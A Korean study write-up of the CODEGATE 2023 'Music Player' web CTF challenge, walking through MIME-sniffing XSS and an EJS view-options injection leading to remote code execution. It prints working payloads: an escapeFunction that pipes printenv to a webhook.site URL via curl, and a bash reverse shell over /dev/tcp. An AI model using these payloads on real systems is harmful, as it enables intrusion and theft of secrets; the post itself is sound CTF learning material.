CTF Study

2023-CODEGATE Music Player (web)

우제혁 2023. 7. 5. 00:13

개요

본 글은 일본어로 공개되어있는 write-up을 공부한 것으로 나와있지 않은 개념들도 함께 공부하며 이해하고 실습까지 한 글이다 또한 마지막은 직접 문제 환경을 구축하여 실습하는 것도 확인 할 수 있다.

write-up 출처 :https://nanimokangaeteinai.hateblo.jp/entry/2023/06/19/120016#Web-127-CODEGATE-Music-Player-30-solves

 

초기 로직 분석

주어진 URL에 액세스하면 다음과 같은 플레이어가 표시된다. 적절한 재생 버튼을 누르면 같은 /api/stream/https:%2f%2ffe.gy%2fcopyright-free-content%2fmiku.mp3 API 에서 MP3를 가져와 재생이 시작된다.

 

 

소스 코드가 제공되고 있으며. docker-compose.yml를 보면 이하의 5개의 서비스로 되어 있는 것을 알 수 있다.

 

docker-compose.yml
더보기
version: '2'
services:
  nginx:
    image: nginx:latest
    restart: always
    ports:
      - 80:80
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    links:
      - server

  frontend:
    build: ./frontend
    restart: always
    environment:
      - API_FETCH=/api/list
    depends_on:
      - nginx
      - server

  server:
    build: ./server
    restart: always
    environment:
      - API_URL=https://fe.gy/copyright-free-content/
      - SECRET=CHEESE_SECRET
      - FLAG=codegate2023{exmaple_flag}
      - REDIS_URL_CACHE=redis://redis:6379/0
      - REDIS_URL_QUERY=redis://redis:6379/1
      - STATIC_HOST=/api/
      - DIFFICULTY=6
      - APP_HOST=0.0.0.0
      - APP_PORT=5000
    links:
      - redis

  redis:
    image: redis:5
    command: "redis-server /redis.conf"
    volumes:
      - ./redis/redis.conf:/redis.conf
    restart: always
    mem_limit: 512M

  worker:
    build: ./worker
    environment:
      - SECRET=CHEESE_SECRET
    links:
      - nginx
      - redis
    restart: always

 

  • server : 위와 같은/api/stream API를 제공
  • forntend : 프론트 엔드
  • nginx : 역방향 프록시. 우리는 이것을 통해 server와 frontend 에 접근
  • redis : server 음악 파일 캐시 등에 사용
  • worker : 소위 XSS bot . 이 앱에는 URL의 알림 기능이 있으며, 통지된 URL에 Chromium 에서 액세스하는 데 사용.

 

플래그 위치 확인

main.js 분석

main.js
더보기
/*

1. Packages are the latest.
   (as of June 2023)

2. This is a ChatGPT-oriented code.
   (Ref. https://twitter.com/brokenpacifist/status/1650955597414809600)

3. https://fe.gy/ stores copyright-free music data.
   Attacking the infrastructure (includes DDoS, dirbusting, etc.) is strictly prohibited.

*/

// the "cheese"
process.env.NODE_ENV = "production"
const SECRET = process.env.SECRET || "CHEESE_SECRET"
const FLAG = process.env.FLAG || "codegate2023{some sameple flag for you}"
const REDIS_URL_CACHE = process.env.REDIS_URL_CACHE || "redis://127.0.0.1:6379/0"
const REDIS_URL_QUERY = process.env.REDIS_URL_QUERY || "redis://127.0.0.1:6379/1"
const STATIC_HOST = process.env.STATIC_HOST || "http://localhost:5000/"
const DIFFICULTY = process.env.DIFFICULTY || 7
const APP_HOST = process.env.APP_HOST || "0.0.0.0"
const APP_PORT = process.env.APP_PORT || 5000

// express
const axios = require("axios")
const dns = require("dns")
const express = require("express")
const fs = require("fs")
const ip = require("ip")
const session = require("express-session")
const Redis = require("ioredis")
const crypto = require("crypto")
const cookieParser = require("cookie-parser")

// streaming contents
const contentList = fs.readFileSync("list.xml", { encoding: "utf8", flag: "r" })
const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]

// basic express setup
const app = express()
app.use(express.json())
app.use(cookieParser())
app.disable("x-powered-by")
app.set("title", "CODEGATE Music Player API")
app.set("view engine", "ejs")
app.use(session({
    secret: SECRET + FLAG,
    resave: true,
    saveUninitialized: true,
    cookie: {
        secure: false
    }
}))

// basic db setup
const redisCache = new Redis(REDIS_URL_CACHE)
const redisQuery = new Redis(REDIS_URL_QUERY)

// get last n characters of md5 result
const getLastCharacterMD5 = (s, n) => {
    const md5Hash = crypto.createHash("md5").update(s).digest("hex")
    const lastNCharacters = md5Hash.slice(-n)
    return lastNCharacters
}

// generate random string
const generateRandomString = (length) => {
    const characters = "abcdef0123456789"
    let result = ""

    for (let i = 0; i < length; i++) {
        const randomIndex = Math.floor(Math.random() * characters.length)
        result += characters.charAt(randomIndex)
    }

    return result
}

// unified send to reduce code lines
const sendResponse = (res, message, status=200) => {
    res.status(status)
    res.write(message)
    res.send()
}

// check internal ip
const isInternalIP = (ipAddress) => {
    return ip.isPrivate(ipAddress)
}

// get ip address
const getIPAddress = (domain) => {
    return new Promise((resolve, reject) => {
        dns.lookup(domain, (error, addresses) => {
            if (error) {
                resolve(domain)
            } else {
                resolve(addresses)
            }
        })
    })
}

// fetch streaming
app.get("/api/list", (req, res) => {
    return sendResponse(res, contentList)
})

// run streaming
app.get("/api/stream/:url", (req, res) => {

    try {
        let url = req.params.url
        const domain = new URL(url).hostname

        // prevent memory overload
        redisCache.dbsize((err, result) => {
            if(result >= 256){
                redisCache.flushdb()
            }
        })

        // preventing DNS attacks, etc.
        getIPAddress(domain)
            .then(ipAddress => {
                if(!url.startsWith("http://") && !url.startsWith("https://")){
                    url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
                }else{
                    if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
                }

                // redis || axios
                redisCache.get(url.split("?")[0], (err, result) => {
                    if (err || !result){
                        axios
                            .get(url, { responseType: "arraybuffer", timeout: 3000 })
                            .then(response => {
                                if (!allowedContentTypes.includes(response.headers["content-type"])){
                                    return sendResponse(res, "Not a valid music file", 500)
                                }
                                if (response.data.byteLength >= 1024 * 1024 * 3) {
                                    return sendResponse(res, "Music file is too big", 500)
                                }
                                redisCache.set(url, response.data.toString("hex"))
                                console.log(url)
                                return sendResponse(res, response.data)
                            })
                            .catch(err => {
                                return sendResponse(res, "No Hack!", 500)
                            })
                    }else{
                        return sendResponse(res, Buffer.from(result, "hex"))
                    }
                })
            })
            .catch(e => {
                return sendResponse(res, "No Hack!", 500)
            })
    } catch (err) {
        return sendResponse(res, "Failed Streaming!", 500)
    }
})

// inquiry
app.get("/api/inquiry", (req, res) => {
    if(!req.session.lastValue || !req.session.lastLength){
        req.session.lastLength = DIFFICULTY
        req.session.lastValue = generateRandomString(DIFFICULTY)
        return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`)
    }

    if(!req.query.url || typeof req.query.url !== "string"){
        return sendResponse(res, "No Hack!", 500)
    }

    if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){
        req.session.lastLength = DIFFICULTY
        req.session.lastValue = generateRandomString(DIFFICULTY)
        return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500)
    }

    redisQuery.rpush("query", req.query.url)
    req.session.lastLength = DIFFICULTY
    req.session.lastValue = generateRandomString(DIFFICULTY)

    return sendResponse(res, "Complete")
})

// inquiry
app.post("/api/messages", (req, res) => {
    const { id } = req.body
    if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("admin", {...id})
})

// get flag
app.patch("/api/flag", (req, res) => {
    const { flag } = req.body
    if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("flag", flag)
})

// 404
app.get("*", (req, res) => {
    return sendResponse(res, "404", 404)
})

// start
const start = async () => {
    try {
        await app.listen(APP_PORT, APP_HOST)
    } catch(err) {
        app.log.error(err)
        process.exit(1)
    }
}

start()

 

const SECRET = process.env.SECRET || "CHEESE_SECRET"
const FLAG = process.env.FLAG || "codegate2023{some sameple flag for you}"

코드를 확인해보면 node.js를 사용하는것을 확인 해 볼 수 있으며, process.env 즉 환경 설정이 되어있지 않다면 SECRET 변수는 “CHEESE_SECRET”으로 설정하라는 말이다. 이 환경에서는 docker-compose.yml 에 환경 변수가 정의 되어 있으며

 

docker-compose.yml에 의하면 플래그는 환경 변수 에 정의되어 있다. 또한 이 환경변수는 server에게만 주어져 있는것을 확인할수 있다.

 

// get flag
app.patch("/api/flag", (req, res) => {
    const { flag } = req.body
    if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("flag", flag)
})

process.env.FLAG를 참조하고 있는 부분을 보면 다음과 같이 /api/flag발견되었다.

 

SECRET라고 하는 Cookie가 정의되어 있고, 또한 그 값을 키로 하는 Cookie의 값이 플래그와 일치하고 있는 경우에 한해, 리스폰스로서 플래그를 반환하는 것 같다.

 

좀더 자세한 코드 설명

위와 같은 코드는 Express.js 애플리케이션의 라우터 핸들러인 app.patch("/api/flag", ...) 이다.
이 코드는 /api/flag 경로로 들어오는 PATCH 요청을 처리하는 부분. 

1. const { flag } = req.body :
PATCH 요청의 본문(body)에서 flag라는 속성을 추출하여 변수에 할당.
이는 클라이언트에서 전달된 flag 값을 가져오는 부분.

2. if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG):
조건문을 사용하여 환경 변수 SECRETFLAG를 비교. 이 코드는 두 가지 검사를 수행

- !req.cookies["SECRET"]: "SECRET"라는 이름의 쿠키가 존재하지 않으면 조건을 만족.
- req.cookies[SECRET] !== FLAG: "SECRET"라는 이름의 쿠키 값이 FLAG 변수의 값과 일치하지 않으면 조건을 만족.

위의 조건 중 하나라도 만족하지 않으면 "Nope"라는 응답과 함께 상태 코드 403(Forbidden)을 클라이언트에게 반환.

3. return res.render("flag", flag):
위의 조건문을 모두 통과한 경우, "flag"라는 템플릿을 렌더링하고, flag 변수의 값을 전달.
이는 클라이언트에게 flag 값을 표시하는 부분.

이후 "Nope"와 함께 403 상태 코드를 반환하여 클라이언트에게 접근이 거부되었음을 알려주는 것이다.

 

worker.py 분석

worker.py
async def init_browser():
    global browser
    _browser = await launch(**browser_option)
    page = await _browser.newPage()
    try:
        await page.goto("http://nginx/")
        cookie = {
            "name": "SECRET",
            "value": os.environ['SECRET'],
            "domain": "nginx",
            "path": "/",
            "httpOnly": True,
            "secure": False
        }
        await page.setCookie(cookie)
    except Exception as e:
        print("[!] Error during browser initialization: " + str(e))
    finally:
        await page.close()
    print("[.] Browser is now loaded.")
    return _browser

 

추가 코드 분석

1. _browser = await launch(**browser_option): 브라우저를 실행하고 _browser 변수에 할당합니다.

2. page = await _browser.newPage(): **_browser**에서 새로운 페이지를 생성하고 page 변수에 할당합니다.

3. await page.goto("<http://nginx/>"): 생성된 페이지를 "**http://nginx/**" URL로 이동시킵니다. 이는 크롤링하려는 대상 웹 페이지의 주소입니다.

4. cookie = { ... }: 쿠키 객체를 생성합니다. 이 쿠키는 브라우저 세션에서 사용될 쿠키를 나타냅니다. 주어진 예시에서는 "SECRET"이라는 이름의 쿠키를 설정하고 그 값을 **os.environ['SECRET']**에서 가져옵니다.

5. await page.setCookie(cookie): 이전 단계에서 생성한 쿠키를 페이지에 설정합니다. 이를 통해 크롤링하려는 웹 페이지에서 쿠키 값을 사용할 수 있게 됩니다.

6. finally 블록에서 await page.close(): 페이지를 닫습니다. 페이지를 더 이상 사용하지 않을 때는 항상 페이지를 닫아야 합니다.

7. 함수 마지막에서 **_browser**를 반환하고 "Browser is now loaded." 메시지를 출력합니다.

 

💡 **browser_option?

**를 앞에 붙이는 이유는 딕셔너리 형태로 인자를 넘기기 위해서

 

 

worker의 코드를 보면, bot에 의한 URL에의 액세스 시에, Cookie로서 SECRET 의 값이 저장되어 있는 것을 알 수 있다.

 

💡 bot에 의한 URL에의 액세스?

사용자가 웹에 의해 접근한다기보다 프로그래밍 적으로 자동화된 스크립트나 프로그램으로 웹 페이지에 접근하는 것을 의미하는것

그렇지만, "name":os.environ["SECRET"]과 같은 형태로 그 값을 키로 하는 Cookie가 세팅되어 있는 모습은 없다.

 

/api/flag를 사용하는것은 확인하기 어렵다

 

 

XSS

main.js
const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]
…
// basic db setup
const redisCache = new Redis(REDIS_URL_CACHE)
…
// check internal ip
const isInternalIP = (ipAddress) => {
    return ip.isPrivate(ipAddress)
}

// get ip address
const getIPAddress = (domain) => {
    return new Promise((resolve, reject) => {
        dns.lookup(domain, (error, addresses) => {
            if (error) {
                resolve(domain)
            } else {
                resolve(addresses)
            }
        })
    })
}
…
// run streaming
app.get("/api/stream/:url", (req, res) => {

    try {
        let url = req.params.url
        const domain = new URL(url).hostname

        // prevent memory overload
        redisCache.dbsize((err, result) => {
            if(result >= 256){
                redisCache.flushdb()
            }
        })

        // preventing DNS attacks, etc.
        getIPAddress(domain)
            .then(ipAddress => {
                if(!url.startsWith("http://") && !url.startsWith("https://")){
                    url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
                }else{
                    if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
                }

                // redis || axios
                redisCache.get(url.split("?")[0], (err, result) => {
                    if (err || !result){
                        axios
                            .get(url, { responseType: "arraybuffer", timeout: 3000 })
                            .then(response => {
                                if (!allowedContentTypes.includes(response.headers["content-type"])){
                                    return sendResponse(res, "Not a valid music file", 500)
                                }
                                if (response.data.byteLength >= 1024 * 1024 * 3) {
                                    return sendResponse(res, "Music file is too big", 500)
                                }
                                redisCache.set(url, response.data.toString("hex"))
                                console.log(url)
                                return sendResponse(res, response.data)
                            })
                            .catch(err => {
                                return sendResponse(res, "No Hack!", 500)
                            })
                    }else{
                        return sendResponse(res, Buffer.from(result, "hex"))
                    }
                })
            })
            .catch(e => {
                return sendResponse(res, "No Hack!", 500)
            })
    } catch (err) {
        return sendResponse(res, "Failed Streaming!", 500)
    }
})
자세한 코드 설명

1. "redisCache"는 Redis 데이터베이스를 나타내는 객체입니다. get() 메서드를 사용하여 데이터를 조회합니다.

2. "url.split("?")[0]"은 URL에서 쿼리 문자열을 제외한 부분을 추출하는 작업입니다. URL에는 쿼리 문자열이 포함될 수 있으며, "split("?")"을 사용하여 쿼리 문자열을 기준으로 분할한 후 첫 번째 부분을 선택합니다.

   - 예를 들어, "http://example.com/music.mp3?id=123"과 같은 URL이 있다면, "url.split("?")[0]"은 "http://example.com/music.mp3"를 반환합니다.

3. "(err, result) => {...}"는 get() 메서드의 콜백 함수입니다. Redis에서 데이터 조회 작업이 완료되면 이 콜백 함수가 호출됩니다. 이 함수는 두 개의 매개변수를 받습니다.

- err: 조회 작업 중 발생한 에러 객체입니다. 성공적으로 조회된 경우 "err"는 "null"이 됩니다.
- result: 조회된 데이터입니다. 데이터가 존재하지 않는 경우 "null"이 됩니다.

4. 콜백 함수 내부에서 데이터 조회 결과를 처리합니다.

- . "if (err || !result)"는 조회 작업 중 에러가 발생하거나 데이터가 존재하지 않는 경우를 확인하는 조건문입니다.
- 데이터가 없는 경우 또는 조회 중 에러가 발생한 경우, "axios"를 사용하여 URL에서 음악 파일을 가져옵니다.

-    - "axios"는 URL에 GET 요청을 보내고, responseType: "arraybuffer" 옵션을 사용하여 데이터를 배열 버퍼 형태로 받아옵니다.
-    - 응답으로 받은 데이터의 유형이 허용된 음악 파일 유형인지 확인합니다. 허용되지 않는 경우 "Not a valid music file" 응답을 클라이언트에 전송합니다.
-    - 응답으로 받은 데이터의 크기가 3MB 이상인 경우, "Music file is too big" 응답을 클라이언트에 전송합니다.
-    - 받은 데이터를 Redis 데이터베이스에 저장하고, 해당 데이터를 클라이언트에 응답으로 전송합니다.

- 데이터가 이미 Redis 데이터베이스에 있는 경우, 해당 데이터를 가져와서 클라이언트에 응답으로 전송합니다.
- 데이터가 이미 캐시되어 있는 경우, 해당 데이터를 클라이언트에 응답으로 전송합니다. 데이터는 "Buffer.from(result, "hex")"를 사용하여 16진수 형식으로 저장된 데이터를 버퍼로 변환합니다.

이 코드는 Redis 데이터베이스에서 URL에 해당하는 데이터를 조회하고, 데이터의 존재 여부에 따라 적절한 동작을 수행합니다.

 

 

content-type 확인 미흡

이하와 같이, 지정된 URL로부터의 음악 파일의 취득 시에는, 그 Content-type이 audio/mp3audio/wav 등의 음악 파일의 MIME 타입임을 확인하고 있다. 다만, 그 시그니처를 확인하고 있는 것은 아니기 때문에, 적당한 텍스트 파일이었다고 해도 Content-Type만 이 허가 리스트 안에 있으면 통과시켜 버린다.

 

const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]
…
if (!allowedContentTypes.includes(response.headers["content-type"])){
    return sendResponse(res, "Not a valid music file", 500)
}

 

이 API에 대해 궁금한 것이 있어 취득 시 Content-Type 체크는 하고 있지만 캐시에 그 MIME 타입을 저장하고 있지 않다. 또한 응답자로서 음악 파일의 내용을 반환하는데, 그 때 응답자 헤더에 Content-Type을 포함하지 않는다. 음악파일 재생시 Dev Tools로 통신을 봤는데 역시 이 API는 Content-Type을 반환하지 않았다.

 

 

Java Script 코드를 실행이 되는 이유

MIME Sniffing

X-Content-Type-Options:nosniff가 지정되어 있는 것도 아니므로 웹브라우저는 돌아온 내용을 바탕으로 MIME Sniffing을 실시할 것이다.

즉, HTML을 반환하는 URL을 이 API를 통해 취득한 경우에는 웹브라우저에서 해당 API에 직접 접속하면 그대로 HTML로 표시되어 버리게 된다.

Content Security Policy 헤더가 설정되어 있는 것도 아니므로 자유롭게 nginx 컨텍스트에서 Java Script 코드를 실행할 수 있다.

 

MIME Sniffing 자세한 이해

2023.07.04 - [웹 공격 기법들] - MIME Sniffing

 

server 에서 RCE

단지, nginx 의 콘텍스트에서의 JS 코드의 실행이 되었다고 해서, 플래그를 바로 얻을 수 있는건 아니다.

 

결국 플래그는 server 밖에 가지고 있지 않은 것이 되고, /api/flag 이외에는 플래그를 참조하고 있는 곳은 없으므로, server 상에서 RCE에 반입해 환경 변수의 취득을 할 수 밖에 없다.

 

/api/messages 를 확인해 보면 

Server에서는 템플릿 엔진으로 EJS가 사용되고 있다.

 

CVE-2022-29078이라는 취약점이 있어 {"setings": {"view options": {…}}과 같은 세공한 객체를 주면 RCE로 가져갈 수 있다.

 

문제는 SECRET라는 쿠키를 가지고 있어야 한다는 것인데, 이것은 조금 전의 JS를 실행할 수 있는 취약점을 사용하면 이 쿠키를 가지고 있는 bot에게 때리게 할 수 있다.

// inquiry
app.post("/api/messages", (req, res) => {
    const { id } = req.body
    console.log(id)
    if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("admin", {...id})
})

 

원래 CVE-2022-29078 에서는 output Function Name이라는 옵션이 사용되고 있었지만, 취약점 버전은 3.1.6인데 도커의 버전은 3.1.9였다. 

 

이후의 수정으로 이 옵션은 JS의 식별자다운 문자열이 아니면 받지 않게 되었다.이 앱에서는 수정 후 버전이 사용되고 있기 때문에 다른 것을 찾아야 한다.

 

view 옵션에는 client와 escape Function이라는 옵션이 취약하다는것을 확인했고

또 그대로 페이로드까지 작성하고 있었다.나머지는 조잡하게 printenv의 내용을 Webhook.site에 던지는 exploit를 작성하면 된다.

 

 

payload
<?php
header('Content-Type: audio/mpeg');
?>
<!doctype html>
<script>
(async () => {
    const r = await fetch('/api/messages', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            id: {
                settings: {
                    'view options': {
                        client: true,
                        escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);'
                    }
                }
            }
        })
    });
})();
</script>

payload 설명

 

JSON에는 id라는 속성이 있으며, 해당 속성의 값은 다른 중첩된 객체 및 설정 값을 포함한다. 왜 id가 나오냐면

return res.render("admin", {...id})  코드에서 이부분을 받는데 ...id는 객체 분해 할당으로 모든 속성을 전달 받을 수 있는 구조이다.

객체 분해 할당

2023.07.05 - [웹 개념/javascript] - 객체 분할 할당

 

 

중요한 부분은 'view options'라는 설정 내에서 escapeFunction이라는 속성인데 escapeFunction 속성의 값인 '1;process.mainModule.require(child_process).exec(printenv | curl https://webhook.site/ -d @-);'은 악의적인 명령을 실행하는 JavaScript 코드이다.

 

 

이 코드는 child_process 모듈을 사용하여 시스템 명령을 실행하고, 결과를 curl을 통해 외부 웹 서비스에 전송한다.

 

이 코드는 HTML 페이지에서 JavaScript를 실행하고. JavaScript 코드는 /api/messages 엔드포인트로 POST 요청을 보낸다.

요청의 Content-Type은 "application/json"으로 설정되고, 요청 본문은 JSON 형식으로 구성됩니다.

 


내가 공부해서 이해한 music player ctf 문제 (최종 정리)

결국 이 문제는 javascript를 실행할수 있는 mini 스니핑과 ejs 취약점을 사용할 수 있냐의 문제이다.

ejs 취약점 같은 경우 다음과 같이 취약점을 트리거 하기 위해 payload를 이렇게 짰는데


(async () => {
    const r = await fetch('/api/messages', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            id: {
                settings: {
                    'view options': {
                        client: true,
                        escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl <<a href=https://webhook.site/>https://webhook.site/</a>…> -d @-`);'
                    }
                }
            }
        })
    });
})();

이렇게 한 이유는 일단 view options에서 취약점이 발생하는것을 이용하기 위해서 이다. CVE-2022-29078의 ejs 취약점은 아래와 같이 settings로 바로 이어간다.

?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s

하지만 위 페이로드 같이 id안에 settings를 넣는 이유는 코드에 숨어 있었다.

다음과 같이 id를 인자로 받고 있었으며 …id로 받는 이유는 객체 분해 할당 즉 id 객체의 모든 속성들을 admin 템플릿으로 전달하는 것이 가능해지기 때문이라고 한다.

따라서 다음과 같이 ejs를 사용하는 admin에 id의 모든 속성을 넘겨주고 escapeFunction를 통해 printenv 즉 환경변수를 모두 curl로 보내버림으로서 환경변수에 저장되어있는 flag를 확인 할 수 있게 되는것이다!!

 

 

원래는 outputFunctionName의 속성으로 취약점이 터졌지만 그것은 ejs 3.1.6 버전에서 터진 취약점이다 따라서 문제의 3.1.9 버전에선 다른 취약점인 escapeFunction을 사용한거 같다.

 

이떄 client 옵션으로 true를 준 이유로는 client: true 옵션은 EJS 템플릿 엔진에서 클라이언트 사이드 JavaScript 코드를 생성할 때 사용되는 옵션이다.

 

일반적으로 EJS는 서버 사이드에서 템플릿을 렌더링하고 클라이언트로 HTML을 전한다. 그러나 client: true 옵션을 사용하면 EJS는 클라이언트 사이드에서 템플릿을 렌더링할 수 있는 JavaScript 코드를 생성한다.

flag

codegate2023{can_we_caLL_this_a_0day?vend0r_says_it_is_the_developers_mistake_to_code_like_this}

 

추가 자료

 

나중에 조사한 결과, EJS의 리포지토리 에서 이것에 관한 이슈가있었다.

"Never, never give users direct access to the EJS renderfunction" 이라고 하는 것은 그렇다고 하는 느낌으로, res.render('index', req.query)같은 코드를 쓰는 것이 나쁘다. 이것을 EJS의 취약점 이라고 부르는 것은 미묘할 것이다.

 

 

실습

환경 세팅

1. 적당한 폴더에 web-codegate-music-player-for_user를 생성한다

 

2. 파일이 잘 있는지 확인후 docker-compose up -d을 해준다.

 

3. 이후 잘 접속되는지 확인

 

풀이방법 적용

1. mp3를 get으로 넘겨 받는걸 확인한다.

 

 

2. 저 링크가 유효한지 확인한다.

 

 

3. 페이로드를 작성한뒤 심어준다.

 

4. 이경로를 서버로 열어준뒤 파일경로를 확인한다.

 

5. mp3가 아닌 이파일을 실행하여 script가 잘 동작하는걸 확인한다.

 

127.0.0.1/api/stream/https://127.0.0.1:8888/ex.php